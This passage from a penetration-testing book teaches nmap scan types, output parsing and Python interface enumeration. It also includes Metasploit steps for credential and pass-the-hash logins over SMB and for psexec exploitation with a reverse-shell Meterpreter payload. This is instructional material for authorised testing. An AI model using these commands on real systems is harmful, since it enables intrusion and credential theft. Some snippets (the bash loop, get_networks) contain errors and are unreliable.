Understanding Nmap

If there is one tool that is ubiquitous through most top-tier and new assessor toolkits, it is nmap. You may find different exploitation frameworks, web application tools, and other preferences, but nmap is a staple tool for many forms of assessment. Now, this is not to say that there are no other tools that can be executed with similar capabilities; it's just that they are not as capable. This includes tools such as AngryIP, HPing, FPing, NetScan, Unicorn scan, and others. From all of these tools, only two stand out as significantly different, and they are HPing and Unicorn scan.

The biggest mistake I see new assessors making with nmap is executing more than one scan at a time from the same host. What they do not realize is that nmap uses the integrated TCP/IP stack of the host operating system. This means that any additional scan executed does not speed the results; instead, the multiple sessions must be handled at the same time by the operating systems TCP/IP stack. This in turn will not only slow down the results of each scan, but also increase errors, as each received packet can impact the results depending on the instance it was received by.

Each missing packet may be resent; this means that the scans slow down, not only because of the number of packets being resent, but because of the inconsistent results and the constrained TCP/IP stack. This means that you can execute only one instance of an nmap scan per host. Therefore, you must be as efficient as possible. So what is the solution? You can use nmap to execute a scan using the host TCP/IP stack and the Unicorn scan, which contains its own TCP/IP stack. The truth is that this entire situation can be avoided by efficiently using nmap instead of using multiple tools at once, which eats up relative clock cycles.

So, besides dealing with the limitations of resident TCP/IP stacks, there is also the limitation of how detailed packets can be manipulated through nmap. HPing provides the ability to relatively easily create custom packets that meet a specific intent. Despite this customization, HPing is efficient only at executing a test against a single host in a customized manner. If multiple hosts need simple pings with relative customization, FPing should be the tool of choice. This is especially because the results produced in Standard Out (STDOUT) by FPing are easily parsable for producing efficient and useful results. This is not to say that nmap is not a highly configurable tool, but rather to point out that it is not a replacement for an experienced and smart assessor, and that each tool has its place. So, you need to understand its limitations and supplement it as necessary.

Inputting the target ranges for Nmap

Nmap can have targets input either by Standard Input (STDIN), which is when you pass data directly from the Command-line interface (CLI), or via a file. For the CLI, this can be done in a variety of ways to include a range of IP addresses, and the Classless Inter-Domain Routing (CIDR) notation of the IP addresses. For files, the IP addresses can be passed by the methods mentioned to include CIDR notation, IP addresses, and ranges and also by an IP list separated by line breaks or carriage returns. To pass data by the CLI all that the user has to do is present the piece at the end of the command, as follows:

nmap -sS -vvv -p 80 192.168.195.0/24

For a file input method, all that is required is the -iL option followed by the filename:

nmap -sS -vvv -p 80 -iL nmap_subnet_file

Executing the different scan types

Nmap has a large number of different supported scans, but not all will be covered here. Instead, we will focus on the scans that you will use the most in your assessments. The four scans you primarily use are the TCP connection scan (also known as the full-connection scan), the SYN scan (also known as the half-open or stealth scan), the ACK scan, and the UDP scan. These are highlighted to the level set knowledge for future scripting efforts.

Note

When performing external testing, you may get automatically blocked or shunned. This could be executed by the client's Internet Service Provider (ISP) or their Information Technology (IT) team. You should always have a backup public IP address in case your primary gets blocked. Then, just avoid doing the same thing that blocked you earlier. Next, document when you see the client doing a proactive block, as this positive activity highlights where they should consider continuing their investment and where they have gaps.

Executing TCP full connection scans

The TCP connection scan is one of the loudest or easiest to detect scans nmap has, but it is also one of the best for eliminating false positives. In earlier days, Incident Response (IR) and security teams paid a lot of attention to what was scanning the perimeter so that they could determine when they were going to be attacked. Times changed, as the amount of noise generated at the perimeter became excessive, and much of the access that was previously seen was mitigated by more advanced firewalls. Today, IR teams are again paying attention to the perimeter and using the activity they see to correlate events and potential future attempts to get into the network, or follow-up related to already executed attacks.

The TCP connect scan may provide the most accurate results, but automatic shunning mechanisms often block the source of the scan at the Internet Service Provider (ISP). To execute a TCP scan, all you have to do is indicate the associated scan type with -sT, as seen here:

nmap -sT -vvv -p 80 192.168.195.0/24

Note

I have assessed many an organization, which could be scanned with full connection scans only, as they would immediately shun the connection if an SYN scan was executed. The trick is to know your target and how advanced their environment is. Much of this can be determined during the pre-engagement phases.

Executing SYN scans

SYN scans are a type of TCP scan, and they are the most prominent scans you will probably run during your engagements. The reason is that they are much faster than TCP connection scans, and much quieter. However, they are not suitable for environments with extremely old or sensitive equipment types. Though most modern systems have no problem with closing a connection if it does not receive an ACK response in a timely manner, others could have problems. There have been repeated cases in the past where some legacy systems could have had a Denial of Service (DoS) situation if the connection was not completed. Today, these are much rarer, but always consider your customers' concerns, as they know their environment better than you do.

SYN scans are simply executed using the -sS flag, as shown here:

nmap -sS -vvv -p 80 192.168.195.0/24

Executing ACK scans

ACK scans are the rarest of the three TCP scan types, and they may not be as directly useful as you think. Let's see when you would use an ACK scan. It is a slow scan, so you would use it if an SYN or TCP scan does not provide you with the results you needed. Nmap is pretty smart today; you usually don't need to perform the different types of scans to validate the type of target you are hitting. So, you would be trying to identify a resource that a full connection scan does not work on. This means that you may not be able to connect to the host for further attacks, because you were unable to complete a three-way handshake.

So where are ACK scans useful? People often ask this, and the answer is, "Firewalls." ACK scans are great for mapping firewall rule sets. Some systems react very strangely to ACK scans and provide additional data in return, so make sure you have tcpdump running on either an inline tap or on your system when you execute the ACK scan. The following is an example of how to execute an ACK scan. Run the command as follows:

nmap -sA -vvv -p80 192.168.195.0/24

Executing UDP scans

You will see tons of blog posts and books and come across several training events that highlight the fact that UDP is a protocol that is often overlooked. In future chapters, we will highlight how dangerous this really is to an organization. UDP scans are extremely slow, and since there are just as many ports for UDP as TCP, it will take a substantial amount of time to scan for them. Additionally, UDP scans—for lack of a better term—lie. They will often report things as filtered/open, which basically means that it does not know.

This can be infuriating in very large environments. It also does not have the full capability to grab most of the UDP port service information. The most common ports have specially packaged scan data, which allows nmap to determine whether the port is really open and what service is there, because services are not always on the default port. When services are moved to UDP ports, there is an impact on the default scan data returned by nmap, as opposed to TCP scans, for which the impact is not so much.

To execute a UDP scan, all that is needed is the flag for the scan set to -sU, as shown here:

nmap -sU -vvv -p161 192.168.195.0/24

Executing combined UDP and TCP scans

So now, you know how to run your primary scans, but running both TCP and UDP scans one after the other can take very long periods of time. To save time, you can combine the scanning of resources by targeting ports for both types of scans. Be smart about this, however; if you use a lot of ports in this scan, it will take forever to complete. So, this scan is great for targeting the top ports that you can use to identify vulnerable resources that have the best chance of being compromised, such as the following:

Service types

Common port numbers

Protocol

Service

Databases

1433

TCP

Microsoft Structured Query Language (MSSQL) Server

1434

UDP

SQL Server Browser Service

3306

TCP

MySQL

5433

TCP

The PostgresSQL server

Remote file services

2049

TCP

Network File Service (NFS)

111

TCP

Sun Remote Procedure Call (RPP)

445

TCP

Server Message Block (SMB)

21

TCP

File Transfer Protocol (FTP)

Remote administrative interface

3389

TCP

Remote Desktop Protocol (RDP)

22

TCP

Secure Shell (SSH)

23

TCP

Telnet

6000 to 6005

TCP

x11

5900

TCP

Virtual Network Connector (VNC)

9999

TCP

A Known Remote Administrative Interface for Legacy Networking Equipment

Interface and system/user enumeration services

25

TCP

Send Mail Transfer Protocol (SMTP)

79

TCP

Finger

161

UDP

Simple Network Management Protocol

Web servers

80, 443

TCP

Web services

8080, 8443, and 8888

TCP

Tomcat Management Page, JBoss Management Page, System Admin Panel

Virtual Private Network (VPN) management details

500

UDP

Internet Security Association and Key Management Protocol (ISAKMP)

To execute a combined scan, all that is needed is to flag the two types of scans you want to use and itemize the ports you want to scan for each protocol. This is done by providing the -p option, followed by U: for the UPD ports and the T: for the TCP ports. See the following example, which highlights only a few ports for the sake of brevity:

nmap -sS -sU -vvv -p U:161,139 T:8080,21 192.168.195.0/24

Skipping the operating system scans

I have seen a number of new assessors jump all over the operating system scan for nmap with gleeful excitement. It is one of the quickest ways my team members know of of identifying someone who does not assess enterprise environments regularly. Here are the reasons:

  • Operating system scans are very noisy
  • It can bring legacy systems down, because it performs chained scans to determine the responses and validate the system type
  • Against an old or legacy system, it can be damaging
  • In the past, certain printers would have issues, to include printing ink soaked black pages until they were shut off or ran out of paper

The biggest reason for seasoned assessors not using this scan, is because it provides little value today. You can identify the details this scan provides faster, more easily, and more quietly with other methods. For example, if you see port 445 open, it is either a system running a Samba variant or a Windows host—usually. Learning the ports, service labels, and versions of each operating system will do a better job in identifying the OS and version than this scan will. Additionally, if it is a system that you cannot identify by this method, it is unlikely that nmap will be able to do it either, of course this is depending on your skill level.

Tip

As you gain experience, you learn how to passively identify live hosts using tools such as Responder, tcpdump, and Wireshark. This means that you don't need to scan for hosts and, in essence, you are being quieter. This is also a better simulation of real malicious actors.

Different output types

Nmap has four output types, and they are extremely useful depending on the situation. They are to the screen, STDOUT, or to three different file types. These file types have different purposes and advantages. There is the nmap output, which looks identical to STDOUT but just in a file; this is done with -oN. Then, there are the Grepable and eXtensible Markup Language (XML) outputs, described as follows. All outputs can be produced at the same time using the -oA flag.

Understanding the Nmap Grepable output

There is the Grepable output, which—to tell the truth—is not that great for greping out data. It can provide an easy means to extract components of data to build lists quickly and easily, but to properly parse it with grep, sed, and awk, you actually have to insert characters to signify where data should be extracted. The Grepable output can be executed by tagging the -oG flags.

After you have a Grepable file, the most useful way of parsing the data is by keying on certain components of it. You are usually looking for open ports related to specific services. So, you can extract these details by executing commands such as the following:

cat nmap_scan.gnmap | grep 445/open/tcp | cut -d" " -f2 >> /root/Desktop/smb_hosts_list

The example shows a Grepable file being pushed to STDOUT and then piped to grep, which searches for open 445 ports. This can be done with grep and cut only, but it is very easy to read and understand. Once the ports are found, cut extracts the IP addresses and pushes them to a flat file known as smb_hosts_lists. If you look at the nmap_scan.gnmap file, you would potentially see lines that contain details such as these:

Host: 192.168.195.112 () Ports: 445/open/tcp/

As you can see, the line contains the 445/open/tcp detail, which allows us to target that specific line. We then cut using the space as a delimitating key and select field two, where, if you count the data fields by spaces, you find the IP address. This technique is very common and is useful for quickly identifying what is open by the IP address and creating multiple flat files based on the service or port.

As shown in Chapter 1, Understanding the Penetration Testing Methodology, you use the rhosts field in the Metasploit modules to target hosts by CIDR notation or range. When you create flat files, you can use Metasploit modules to hit a list of hosts instead by referencing the flat file. To run the Metasploit console, execute this command:

msfconsole

If you are running Metasploit Professional from the command line, use the following command:

msfpro

Now see this example, wherein we will try and see whether the password we cracked earlier works on any host in the rest of the network:

use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run

The use command selects the module you want to use—the smb_login module in this case—which verifies Server Message Block (SMB) credentials. The SMBUser set chooses the username you are going to execute this attack against. The SMBPass set selects the password that is going to be used in this module. The set SMBDomain field allows you to set the domain for the organization. The run command executes the auxiliary module. In earlier years, you had to use run to execute an auxiliary module and exploit for an exploit module. Today, these are really interchangeable, with the exception of post exploitation modules, which require run as highlighted at https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/.

Tip

If you are attacking with a local account, you should set the domain to workgroup. When attacking a domain account, you should set the domain to the actual domain of the organization.

Metasploit Professional is a tool that helps optimize penetration testing efforts and it has a web Graphical User Interface (GUI). Metasploit pro provides a lot of great features, but if you need to pivot through multiple network tiers protected by firewalls, the console is the best option. To learn how to execute an automatic pivot, you can find the details at https://www.offensive-security.com/metasploit-unleashed/pivoting/. To learn how to execute a manual pivot, refer to https://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot, which covers port-based pivoting, manual routing, and SOCKS proxies.

This method of attack is very common; you find out the credentials, identify the services the credentials may work on, and then build flat files to target hosts. Next, you reference those flat files to check the hosts for a vulnerability. Once you have verified those hosts as vulnerable, you can exploit them with Pass-the-Hash (PtH) using a Process Execution (PSEXEC) attack (if you had the hash) or a standard-credentialed PSEXEC, as shown in the following code:

Tip

PtH is an attack that takes advantage of a native Windows weakness related to how systems authenticate on a network. Instead of requiring a Challenge/Response authentication method, the hashed password can be passed directly to the host. This means that you do not have to crack the Local Area Network Manager (LM) or New Technology LM (NTLM) hashes. Many Metasploit modules can use either credentials or hashes against SMB services.

msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass test
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j

The set payload command chooses the payload that is going to be dropped on the host and then executed. The reverse_tcp payload dials back to the attack box to establish a connection. Had it been a bind payload, the attack box would have directly connected to a listening port after execution. RHOST and LPORT signify the target host we want to connect to and the port on the attack box that we want to listen to for the returning communication. The exploit -j runs the exploit and then backgrounds the results, which allows you to focus on other things, returning to the session as needed with session -i <session number>. Keep in mind that you do not require cracked credentials to execute smb_login or the psexec; instead, you can just PtH. In that case, the text would look like the following code for the smb_login command:

Note

All payloads that are dropped on the box are deleted when the process execution completes. If the execution process is interrupted, the payload may stay on the system. Better secured environments that use tools that monitor processes may have instances of this if the tools are not correctly configured to delete the generator of those detected processes.

msfconsole
use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set RHOSTS file:/root/Desktop/smb_hosts_list
run

The following configuration would be for the psexec command:

msfconsole
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
set SMBDomain Workgroup
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.195.112
set LPORT 443
exploit -j

Now that you have understood the purpose and benefits of the nmap grepable output, let's look at the benefits of the XML output. One item should be noted before moving on, which will help you understand what the XML benefits are. Look at the line from the nmap grepable output. You can see that there are very few special characters for differentiating the fields of data; this means that you can extract only small components of information with ease. To get larger quantities, you have to insert delineators using sed and awk. This is a painful process, but thankfully, you have the solution at hand—the XML output.

Understanding the Nmap XML output

XML builds trees of data that use child and parent components to label datasets. This allows easy and direct parsing of data using specific label grabs after walking the tree that lists the parent and child relationships. Most importantly, because of this, XML outputs can be imported by other tools, such as Metasploit. You can easily output to only XML using the -oX option. More details of these benefits will be covered in later chapters, specifically when parsing XML using Python in Chapter 9, Automating Reports and Tasks with Python, to help automatically generate report data.

The Nmap scripting engine

Nmap has a number of scripts that provide unique capabilities for assessors. They can help identify vulnerable services and exploit systems or interact with complex system components. These scripts are coded in a language called Lua, which will not be covered here. These scripts can be found at /usr/share/nmap/scripts within Kali. Each of these scripts can be called using the --script option and then called in a comma-delimitated list. Make sure you know what each script does before executing it against a target, because there may be unintended consequences on target systems.

Note

More details about nmap scripts can be found at http://nmap.org/book/man-nse.html. Specific details about nmap scripts can be found at http://nmap.org/nsedoc/, along with their purposes and category associations.

Scripts can be called by the category they are part of or removed from the categories you do not want them to be part of. As an example, you can see that the following command runs the nmap tool with all default or safe scripts that do not start with http-:

nmap --script "(default or safe) and not http-*" <target IP>

By now, you should have a pretty good understanding of how to use nmap and the capabilities within it. Let's look at being efficient with nmap. This is because the biggest limiting component of a penetration test is time, and during that time period, we need to succinctly identify vulnerable targets.

Being efficient with Nmap scans

Nmap is a great tool, but you can be limited by poor network design, large target sets, and unrestricted port ranges. So, the trick to being efficient is to limit the number of ports you scan for until you know which targets are live. This can be done by targeting subnets that have live devices and only scanning those ranges. The easiest way to do this is to look for default gateways that are active in a network. So, if you see that your default gateway is 192.168.1.1, it is likely that in this Class C network, other default gateways may be active in areas such as 192.168.2.1. Pinging the default gateway is a process that is a little noisy, but it is typically consistent with most of the nominal network traffic.

Nmap has a built-in capability that lets you target the statistically more common ports using the --top-ports option and then follow it up with a number. As an example, you could look for the top 10 ports using the --top-ports 10 option. This statistics was discovered by long-term scanning of Internet-facing hosts, which means that the statistics is based on what would be exposed to the Internet. So, remember that if you are doing an internal network assessment, this option may not provide the expected results.

As an assessor, you are often provided a range of targets to assess. Sometimes, this range is extremely large. This means that you need to try and identify live segments by seeing which locations' default gateways are active. Each active default gateway and the relevant subnet will tell you where you should scan. So, if you have a default gateway of 192.168.1.1 and your subnet is 255.255.255.0 or /24, you should check for other default gateways from 192.168.2.1 to 192.168.255.1. As you ping each default gateway, if it responds, you know that there are likely live hosts in that subnet. This can be done easily with well-known bash for loop:

for i in `seq 1 255`; do ping -c 1 192.168.$1.1 | tr \n ' ' | awk '/1 received/ {print $2}'; done

This means that you have to look for your default gateway address and subnet to verify the details for each interface you are using. What if you could automate the process of finding these system details with a Python script? To begin this journey, start by extracting the details of the interfaces with the netifaces library.

Determining your interface details with the netifaces library

We demonstrated how to find interface details using a Python script in Chapter 2, The Basics of Python Scripting. It was designed to find details on any system regardless of libraries, but it only found addresses based on a list of interface names provided. Also, it was a script that would not be considered very tight. Instead, we can use the netifaces library for Python to iterate through the addresses and discover the details.

This script uses a number of functions to accomplish specific tasks. The functions included are get_networks, get_addresses, get_gateways, and get_interfaces. These functions do exactly what you expect them to. The first function, get_interfaces, finds all the relevant interfaces for that system:

def get_interfaces():
    interfaces = netifaces.interfaces()
    return interfaces

The second function identifies the gateways and returns them as a dictionary:

def get_gateways():
    gateway_dict = {}
    gws = netifaces.gateways()
    for gw in gws:
        try:
            gateway_iface = gws[gw][netifaces.AF_INET]
            gateway_ip, iface = gateway_iface[0], gateway_iface[1]
            gw_list =[gateway_ip, iface]
            gateway_dict[gw]=gw_list
        except:
            pass
    return gateway_dict

The third function identifies the addresses for each interface, which includes the MAC address, interface address (typically IPv4), broadcast address, and network mask. All of these details are sourced by passing the function for the interface name:

def get_addresses(interface):
    addrs = netifaces.ifaddresses(interface)
    link_addr = addrs[netifaces.AF_LINK]
    iface_addrs = addrs[netifaces.AF_INET]
    iface_dict = iface_addrs[0]
    link_dict = link_addr[0]
    hwaddr = link_dict.get('addr')
    iface_addr = iface_dict.get('addr')
    iface_broadcast = iface_dict.get('broadcast')
    iface_netmask = iface_dict.get('netmask')
    return hwaddr, iface_addr, iface_broadcast, iface_netmask

The fourth, and last, function identifies the gateway IP from the dictionary provided by the get_gateways function to the interface. It then calls the get_addresses function to identify the rest of the details about the interface. All of this is then loaded into a dictionary that is keyed by the interface name:

def get_networks(gateways_dict):
    networks_dict = {}
    for key, value in gateways.iteritems():
        gateway_ip, iface = value[0], value[1]
        hwaddress, addr, broadcast, netmask  = get_addresses(iface)
        network = {'gateway': gateway_ip, 'hwaddr' : hwaddress, 
          'addr' : addr, 'broadcast' : broadcast, 'netmask' : netmask}
        networks_dict[iface] = network
    return networks_dict

The following screenshot highlights the execution of this script:

Determining your interface details with the netifaces library

Now, we know that this is not directly related to scanning and identifying targets, but it is for eliminating targets. Those targets are your system; you will see once you start assessing some systems automatically that you will not want your system to be in the list. We are going to highlight how to scan systems with the nmap libraries, identify the targetable services, and then eliminate any IP address that may be our system.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.144.38.92